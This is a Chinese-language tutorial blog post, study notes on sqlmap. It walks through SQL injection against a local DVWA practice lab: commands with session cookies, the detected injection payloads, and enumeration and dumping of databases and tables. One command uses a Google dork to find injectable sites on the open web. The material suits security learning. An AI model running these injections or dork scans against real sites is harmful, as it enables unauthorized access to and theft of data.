• Sqlmap学习笔记(一)


    Sqlmap安装

    1. 进入sqlmap官网,下载,运行sqlmap.py文件即可

      python sqlmap.py
      
    2. 通过pip安装

      pip install sqlmap
      

      直接在命令行运行sqlmap即可

    Sqlmap直连数据库

    sqlmap -d mysql://root:root@localhost:3306/test -f --banner
    

    ​ 如果报错需要下载pymysql模块

    pip install pymsql
    

    ​ -d:直连数据库,后面跟着连接信息 -> mysql://用户名:密码@主机名:端口/数据库

    ​ -f:打印DBMS信息

    ​ --banner:打印banner信息,准确的版本号

    ​ 成功访问,获取mysql信息

    [23:47:45] [INFO] connection to MySQL server 'localhost:3306' established
    [23:47:45] [INFO] testing MySQL
    [23:47:45] [INFO] resumed: [['1']]...
    [23:47:45] [INFO] confirming MySQL
    [23:47:45] [INFO] resumed: [['1']]...
    [23:47:45] [INFO] the back-end DBMS is MySQL
    [23:47:45] [INFO] fetching banner
    [23:47:45] [INFO] resumed: [['5.7.26']]...
    [23:47:45] [INFO] actively fingerprinting MySQL
    [23:47:45] [INFO] resumed: [['1']]...
    [23:47:45] [INFO] executing MySQL comment injection fingerprint
    back-end DBMS: active fingerprint: MySQL >= 5.7
    banner: '5.7.26'
    [23:47:45] [INFO] connection to MySQL server 'localhost:3306' closed
    
    [*] ending @ 23:47:45 /2019-11-30/
    

    Sqlmap对URL进行探测

    ​ 使用-u或者--url参数

    ​ 在这里我使用的是DVWA漏洞测试平台,DVWA是基于PHP的,先下载phpstudy,PhpStudy内置了Apache和Mysql等服务,运行Apache和Mysql服务,访问DVWA,默认账号密码 **admin/password **登陆进入首页。

    ​ 配置DVWA数据库用户和密码,修改dvwa/config/config.inc.php,将db_user和db_password设置成自己数据库的用户名和密码

    $_DVWA[ 'db_server' ]   = '127.0.0.1';
    $_DVWA[ 'db_database' ] = 'dvwa';
    $_DVWA[ 'db_user' ]     = 'root';
    $_DVWA[ 'db_password' ] = 'root';
    

    ​ 初始化数据库,进入Setup / Reset DB选项,点击Create / Reset Database按钮,初始化数据库。

    image-20191201001917087

    进入DVWA Security选项,将安全级别选择Low

    image-20191201001631940

    ​ 环境搭建好了,开始基于Url的Sql注入。选中SQL Injection,这里有一个输入框,填入用户的id就可以查出对应的用户,现在利用Sqlmap来对这个输入框进行注入

    image-20191201002633080

    ​ 输入1之后,发现将admin用户回显在了页面上,观察浏览器地址栏的变化

    http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#
    

    ​ 发送了一个get请求给服务端, 参数id被拼接在url中,可以针对这个地址来做基于url的sql注入探测,使用sqlmap工具扫描这个url,获取banner信息,接下来将会对Submit和id这两个输入点进行sql盲注

    sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" --banner
    

    因为请求这个url需要登陆信息,所以得携带已登录用户的cookie,不然会被重定向到登陆页面

    Parameter: id (GET)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
        Payload: Submit=Submit&id=1' OR NOT 4425=4425#
    
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: Submit=Submit&id=1' AND (SELECT 5820 FROM(SELECT COUNT(*),CONCAT(0x716b6a7871,(SELECT (ELT(5820=5820,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NUNu
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: Submit=Submit&id=1' AND (SELECT 2401 FROM (SELECT(SLEEP(5)))ZVXy)-- lZZD
    
        Type: UNION query
        Title: MySQL UNION query (NULL) - 2 columns
        Payload: Submit=Submit&id=1' UNION ALL SELECT NULL,CONCAT(0x716b6a7871,0x4c4b517861646d48755862657a785977537649774e706c4f6f474f4f62786e747a5a694a47575142,0x71766a7171)#
    ---
    [00:06:47] [INFO] the back-end DBMS is MySQL
    [00:06:47] [INFO] fetching banner
    back-end DBMS: MySQL >= 5.0
    banner: '5.7.26'
    [00:06:48] [INFO] fetched data logged to text files under 'C:UsersdaggerAppDataLocalsqlmapoutput	est.dvwa.com'
    
    [*] ending @ 00:06:48 /2019-12-01/
    
    

    成功获取到了banner信息,由上可知Mysql的版本号为5.7.26

    并检测到id参数有4个sql注入漏洞

    boolean-based blind: 布尔型注入

    error-based: 报错型注入

    time-based blind: 基于时间延迟注入

    UNION query: 可联合查询注入

    这些类型的注入漏洞对应着sqlmap目录下data文件夹下的xml文件

    image-20191201005634323

    参数说明
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: Submit=Submit&id=1' OR NOT 4425=4425#
    
    

    Type:sql注入类型

    Title:在payloads的xml文件下就是每个Payload的标题

    Payload:注入的sql语句

    已知目标站点存在sql注入漏洞,接下来可以通过相关命令获取数据库,表,字段和数据

    获取数据库详细信息

    1. 获取所有数据库

      sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" --dbs
      
      
      available databases [8]:
      [*] dvwa
      [*] information_schema
      [*] mysql
      [*] order_db
      [*] performance_schema
      [*] pikachu
      [*] sys
      [*] test
      
      
    2. 获取test数据库下所有表

      sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test --tables
      
      
      Database: test
      [2 tables]
      +-----------+
      | student_0 |
      | student_1 |
      +-----------+
      
      
    3. 获取student_0下所有字段

      sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test -T student_0 --columns
      
      
      Database: test
      Table: student_0
      [3 columns]
      +--------+--------------+
      | Column | Type         |
      +--------+--------------+
      | id     | bigint(20)   |
      | name   | varchar(255) |
      | sex    | bit(1)       |
      +--------+--------------+
      
      
    4. 获取student_0表数据

      sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test -T student_0 --dump
      
      
      Database: test
      Table: student_0
      [3 entries]
      +----+------+------+
      | id | sex  | name |
      +----+------+------+
      | 2  | x01 | fs   |
      | 4  | x01 | 公司的  |
      | 6  | x00 | 发生的  |
      +----+------+------+
      
      
    5. 获取指定字段数据,比如我只想要name字段数据,多个字段用逗号分隔

      sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test -T student_0 -C name --dump
      
      

      --users:获取所有用户

      --dbs:获取所有数据库

      -D:指定数据库

      --tables:获取所有表

      -T:指定表

      --columns:获取所有字段

      -C:指定字段

      --dump:获取表中所有数据

    配合Burpsuite请求日志对站点进行扫描

    1. 打开Burpsuite,选中Poroject options -> Misc,在Logging板块为Proxy选中Requests,之后会弹出对话框,选择日志文件保存的位置

    2. 用Burpsuite代理的端口发几个请求试试,会发现日志文件里已经有了请求日志信息,通过sqlmap指定日志文件进行扫描

      sqlmap -l 日志文件
      

    Sqlmap对URL地址列表进行扫描

    1. 准备URL地址列表文件,如:

      http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#
      http://test.dvwa.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
      
    2. 运行sqlmap命令,将会对指定文件中的URL逐行进行扫描

      sqlmap -m URL列表地址文件
      

    利用Google Hack注入扫描

    ​ 采用Google dork表达式

    sqlmap -g "inurl:.php?id=1"
    

    从配置文件中加载选项进行扫描

    ​ 修改sqlmap目录下的sqlmap.conf文件,里面有多个配置项,修改这些配置可以代替像-x,-r,-l..等这些方式

    direct = 		# 直接连接数据库,相当于-d
    bulkFile =		# 多行url文件,相当于-m
    sitemapUrl = 	# 站点地图文件,相当于-x
    url = 			# 要扫描的目标url,相当于-u
    logFile = 		# burpsuite请求日志文件,相当于-l
    requestFile = 	# 包含http请求头信息的文件,相当于-r
    googleDork = 	# 利用google hack扫描,相当于-g
    

    开始基于配置文件的扫描

    sqlmap -c sqlmap.conf
    

    从站点地图文件扫描目标站点

    sqlmap -x http://192.168.1.121/sitemap.xml
    

    从文本文件中读取Http请求作为Sql注入目标

    ​ 主要用于对Http请求头进行注入

    sqlmap -r 目标文本文件
    

    ​ 目标http文本

    GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
    Host: test.dvwa.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Referer: http://test.dvwa.com/vulnerabilities/sqli/
    Cookie: PHPSESSID=0q9ph79utog8ndjjka361kr7s2; security=low
    Upgrade-Insecure-Requests: 1
    
  • 相关阅读:
    LeetCode.1(两数之和)
    LeetCode.56(合并区间)
    c++ 数字与字符串的相互转换
    软件工程作业-面向对象方法学
    linux终端下解决you need to be root to perform this command
    vue中 v-bind 与 v-model的区别
    vue的核心:虚拟DOM 和 diff 算法
    弱实体集的必要性、属性随笔
    Ubuntu 18.04下Intel SGX应用程序程序开发——获得OCALL调用的返回值
    Ubuntu 18.04 INTEL SGX 修改案例打印Hello Enclave
  • 原文地址:https://www.cnblogs.com/dagger9527/p/11964903.html
Copyright © 2020-2023  润新知